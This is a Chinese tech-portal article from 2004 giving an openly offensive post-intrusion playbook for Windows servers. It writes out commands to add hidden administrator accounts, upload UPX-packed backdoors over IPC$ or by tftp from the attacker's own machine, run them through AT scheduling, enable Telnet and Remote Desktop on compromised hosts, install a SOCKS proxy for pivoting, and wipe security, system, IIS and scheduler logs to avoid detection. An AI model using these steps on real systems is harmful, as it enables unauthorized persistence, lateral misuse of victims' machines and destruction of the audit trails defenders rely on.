资讯中心 | 网络安全 | 安全产品 | 编程语言 | 操作系统 | 网络通信 | 图形图象 | 认证考试 | 办公软件 | 产品方案 | 市场行情 |

  论坛社区 | 软件下载 | 搜索研究 | 网络文学 | 游戏娱乐 | 免费资源 | 评测专栏 | 数码天地 | 硬件专区  | 电脑技巧 | DIY天地 |

当前位置:首页>>网络安全>>黑客攻击与防御>>新闻内容
入侵系统后的工作

文章来源: 文章作者:网侠联盟收集整理 发布时间:2004-11-27 11:51:47

 
网侠小说】 【建筑资讯】 【进入博客】 【进入论坛投资指南

一.获得权限(不在讨论的范围,我们只讨论入侵系统后的该做的事情) 


二.建立超级权限用户 
(1)建立用户: 
如:net user system$ hacker /add 
net localgroup administrators system$ /add 
说明:上面的两个命令就是建立一个名字叫"system$",密码为"hacker"的超级权限用户 
(2) 克隆超级用户: 
可以使用CA工具来实现超级用户的可隆了,前提是只要拥有目标系统的管理员权限得帐号和密码. 
ca \ip administrator password IUSR_name password 
说明: administrator--管理员帐号 password--管理员帐号的密码   
IUSR_name--系统已经存在的较低权限的用户 password--克隆用户的密码 
cca:检查克隆结果的工具. 
cca \ip user password 
user:被克隆的帐号 
password:密码 


三.建立后门 
(1)上传后门程序(方法较多,只说常用的两种): 
上传后门比如wollf,winshell等常用的后门,最好把后门加一个壳,比如用UPX或者是ASPack等加壳,就不容易被病毒防火墙给查杀. 

把后门上传的方法: 
(a)使用IPC$: 先和对方建立一个连接: 
net use \对方IP地址\ipc$ "密码" /user:"用户名" 
建立成功后就可以上传后门: 
copy c:\hack\wollf.exe \IP\admin$ 
说明:把你C盘下的wollf后门传到对方的x:\winnt下,或者是windows目录下 
(b)使用tftp: 前提是你进入了对方的系统,比如你通过telnet进入了对方系统,就 
可以在对方的shell下从你的机器中传后门到对方的系统: 
tftp -i 你的IP get wollf.exe 
说明:把你机器中的wollf.exe下载到对方的系统目录下,前提是对方没有禁止tftp并且你有独立的IP地址(局域网的机器不行),你自己的机器打开tftpd32这个ftp工具,它就会监听你的69端口的连接,然后你就可以在对方的机器上来下载你机器的东西. 

(2)运行后门: 
(a)使用AT命令:   
先获得对方系统的时间: net time \对方的IP 
的到对方的时间后就使用AT命令: at \对方IP 后门运行的时间 后门所在对方系统的路径 
例: at \192.168.0.1 11:02 c:\winnt\system32\wollf.exe 
注意:你要执行AT命令,前提是你与对方建立了IPC$连接,并且你获得对方系统的时间后,你运行后门的时   间必须要后几分钟.除了可以使用AT命令之后,还可以使用一款工具叫psexec.exe来实现AT的功能. 
(b)使用"流光"的"种植者"来实现拷备和运行后门,这个方法你可以参考"流光"的帮助文件 
(c)直接运行后门: 
你比如登陆了对方的系统,比如你使用Telnet进入了对方的系统后就可以直接运行了. 
假如对方没有开Telnet,那么我们就可以帮它打开.   
打开对方的Telnet的方法: 
我们可以使用opentelnet.exe这个工具来实现,前提是必须具有目标系统的管理员权限和开了IPC$, 
命令如下: 
opentelnet \ip username password NTLMauthor Telnetport 
说明: \ip--目标IP username--用户名   password--密码 
NTLMauthor--NTLM的验证方式   Telnetport--端口 
验证方式有:0:代表不使用NTLM验证 1:代表先尝试使用NTLM验证,失败后用密码验证 2:只使用NTLM验证 
执行成功后,就可以使用Telnet 对方IP 端口 或者 nc -vv 对方的IP 端口 来登陆目标机器了. 


四.做代理服务器 
为什么要做代理我就不用说了吧,我们就说说怎么做代理吧. 
这里我们用到一个工具skserver.exe,是snake写的一个代理工具,做跳板不错! 
先写好一个批处理,内容如下: 
@echo *********************************************** 
@echo         安装socket代理的批处理 
@echo           by heiyeluren 
@echo     CQSN---http://www.hackerxfiles.com/ 
@echo *********************************************** 
@pause 
@skserver -install 
@echo Install... Succeed! 
@skserver -config port 1983 
@echo Set port in 1983... Succeed! 
@skserver -config starttype 2 
@echo Set starttype is autostart... Succeed! 
@net start skserver 
@echo Start service... Succeed! 
@echo OK... Install End! 
@pause 
@exit 

以上的批处理你可以自己根据情况更改,其中的skserver可以改成你该成后门的名字,不过下面"net start skserver"不能改,这是该工具默认的服务名,端口你也可以改成你需要的.把skserver.exe传到对方的系统后,再运行该批处理,就可以从对方1983端口来连接代理,可以通过sockCap来做代理服务器,最多可以跳254级看谁能找到你,呵呵呵~~~ 


五.开超级终端 
如果对方是win2000 server以上的系统的话,就可以打开对方的超级终端来尽心更好的远程控制,大家都说开3389肉鸡是极品嘛,现在我们就来试试!~~ 

(1)手工开终端: 
进入目标系统后,在命令提示符下面输入下面的内容: (假设系统在C:\winnt下面) 
echo [Components] > c:89 
echo TSEnable = on >> c:89 
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:89 /q 
(可以在加上参数/r,可以抑制重新启动,不加安装完后就重启)或者你可以写好这个文件,然后传到对方的系统下: 
[Components] 
TSEnable = on 
保存为3389文件,然后运行sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:89 /q 这个命令,对方重启后你 就拥有了一个3389的肉鸡啦,就可以通过"远程桌面连接"来连接对方,从windows下控制对方了. 

(2)利用工具: 
这里用到一款叫Dixyxs.exe的小工具来开对方的终端. 
把该工具上传到对方的系统中,然后执行该程序:dixyxs.exe后等一会肉鸡会自动重启,重启后会出现终端服务 


六.清除日志 
当你做了这一切之后,那么你不想三分钟被查到吧?那么就应该清除日志. 
windows的日志有:www日志,FTP日志,DNS日志,安全日志,系统日志,应用程序日志等等. 

(1)手工清除日志: 
有些日志是一定要删除的,比如web,ftp等日志. 

日志文件默认位置: 
应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%\system32 
\config,默认文件大小512KB,管理员都会改变这个默认大小。 
安全日志文件:%systemroot%\system32\config\SecEvent.EVT 
系统日志文件:%systemroot%\system32\config\SysEvent.EVT 
应用程序日志文件:%systemroot%\system32\config\AppEvent.EVT 
IIS的FTP日志默认位置:%systemroot%\system32\logfiles\msftpsvc1\,默认每天一个日志 
IIS的WWW日志默认位置:%systemroot%\system32\logfiles\w3svc1\,默认每天一个日志 
Scheduler服务日志默认位置:%systemroot%\schedlgu.txt 

我们把相关的服务停止后就可以删除了: 
停止服务: net stop w3svc 
然后几可以删除日志,www服务的日志是在:c:\winnt\system32\LogFiles\W3SVC1目录下;FTP服务的日志在c:\winnt\system32\LogFiles\MSFTPSVC1目录下.然后就可以使用del了: 
del c:\winnt\system32\LogFiles\W3SVC1\*.* /q 
del c:\winnt\system32\LogFiles\MSFTPSVC1\*.* /q 
然后是Scheduler日志,停止该服务: net stop "task scheduler" 
然后del c:\winnt\schedlgu.txt /q就可以了~ 

像安全日志,系统日志,应用程序日志等关联的服务是Eventlog,该服务是无法停止的,所以如果我们手工删除这些日志的话,就要通过一个很慢的方法: 
打开“控制面板”的"管理工具"中的"事件查看器"在菜单的"操作"项有一个名为"连接到另一台计算机"的菜单,点击它如下图所示:输入远程计算机的IP,然后等上一段时间(根据双方的网速),然后打开对方的计算机的"事件查看器":选择远程计算机的"安全性"日志,右键选择它的属性:点击属性里的"清除日志"按钮,OK!安全日志清除完毕!同样的方法清除"系统"日志和"应用程序"日志! 

(2)利用工具删除日志 
利用工具来删除那些日志就简单多啦! 
(A)删除IIS服务相关的WWW日志和FTP日志可以使用CleanIISLog.exe这个小工具. 
用法: 
先用ipc$管道进行连接:net use \ip\ipc$ "password" /user:"" 
然后就可以使用下面的命令: 
cleaniislog [logfile]|[.] [cleanIP]|. 
说明: 清除的日志文件,.代表所有   清除的日志中哪个IP地址的记录,.代表所有IP记录 
举例:cleaniislog . 127.0.0.1 
a.可以清除指定的的IP连接记录,保留其他IP记录。 
b.当清除成功后,CleanIISLog会在系统日志中将本身的运行记录清除。 
用法: CleanIISLog <LogFile>|<.> <CleanIP>|<.> 
<LogFile>: 指定要处理的日志文件,如果指定为“.”,则处理所有的日志文件注意:处理所有日志文件需要很长的时间)。 
<CleanIP>: 指定要清除的IP记录,如果指定为“.”,则清除所有的IP记录(不推荐这样做)。 
CleanIISLog只能在本地运行,而且必须具有Administrators权限。 

(B)删除安全日志,系统日志和应用程序日志,可以使用elsave.exe这个小工具. 
使用方法: 
先用ipc$管道进行连接:net use \ip\ipc$ "password" /user:"" 
清除目标系统的应用程序日志: 
elsave -s \ip -l "application" -C 
清除目标系统的系统日志: 
elsave -s \ip -l "system"" -C 
清除目标系统的安全日志: 
elsave -s \ip -l "security" -C 

(C)logkiller.exe这个工具可以把对方的所有日志都删除,包括"应用程序日志","安全日志"和"系统日志",IIS的FTP服务,IIS的SMTP服务日志和IIS的WWW服务日志,以及计划任务日志等日志. 
使用方法:把该工具上传到对方的系统中后直接运行. 
例: c:\winnt\system32\logkiller.exe 


七.后面的话 

说到这里,差不多入侵一个系统后该做的工作都差不多了吧.当然,你要做别的工作也是可以的,不是限定非要按照上面的模式的,只不过上面的是一个比较基本常用的模式. 比如你还可以设置VNC等远程控制软件或者把肉鸡做成你的FTP服务器等都是可以的,但是前提是你一定要注意安全,不要留下不必要的痕迹. 
不知道大家有没有发现一个情况,就是我们都是使用各式各样的工具来完成我们的任务的,这样不誓不罢休好,但是使用了太多的工具的话,对我们的技术并没有太大的进步,所以希望大家能够不使用工具就不要使用,比如可以使用手工的就尽量用手工来做,这样的话你会"知其然,更知所以然",不是很好?  


打印】【关闭

 
 
 
 
浏览次数: 责任编辑:
 
联系QQ:24171999 邮箱:3glele@gmail.com
免责声明:本站部分内容收集于网络,版权归原作者及出版社所有!如果您觉得侵犯了您的版权请来信告诉我们,我们会尽快删除其内容!